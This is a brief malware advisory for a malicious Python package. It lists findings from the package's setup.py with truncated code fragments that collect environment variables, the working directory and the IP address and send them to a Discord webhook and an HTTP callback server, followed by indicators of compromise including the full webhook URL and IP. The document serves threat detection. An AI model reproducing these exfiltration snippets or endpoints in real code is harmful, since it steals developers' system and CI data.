GCVE-VVD-OSM-2026-639

Malicious package detected. Behaviors: data exfiltration, network activity. Payload: setup.py Key findings: - Environment Variable Exfiltration in setup.py: "os.environ.get("USER", "?"), "c": os.getcwd(), "ci": os.environ.get("CI", "")} ..." - System Information Exfiltration in setup.py: "os.getcwd(), "ci": os.environ.get("CI", "")} try: d["ip"] = urllib.reque..." - Webhook Data Exfiltration in setup.py: "discord.com/api/webhooks/1484422878647816244/8gbHLu2n7XXXqlDGn3ZXxfzS-PuKnZF3Mvn..." - Python File Upload to Remote in setup.py: "urllib.request.Request("http://69.164.221.216:8080/callback", data=" - HTTP Data Exfiltration in setup.py: "os.getcwd(), "ci": os.environ.get("CI", "")} try: d["ip"] = urllib" IOCs: - ipv4: 69.164.221.216 - urls: http://69.164.221.216:8080/callback - discordWebhooks: https://discord.com/api/webhooks/1484422878647816244/8gbHLu2n7XXXqlDGn3ZXxfzS-PuKnZF3Mvn52eHIKU23-exdJLaWOcpey0pPnDAR0KQo - payloadFileHash: 4d2f74a200e7b707e7cf9947cc42d4075a34cf23b40e6a21fec90e59d318bbbd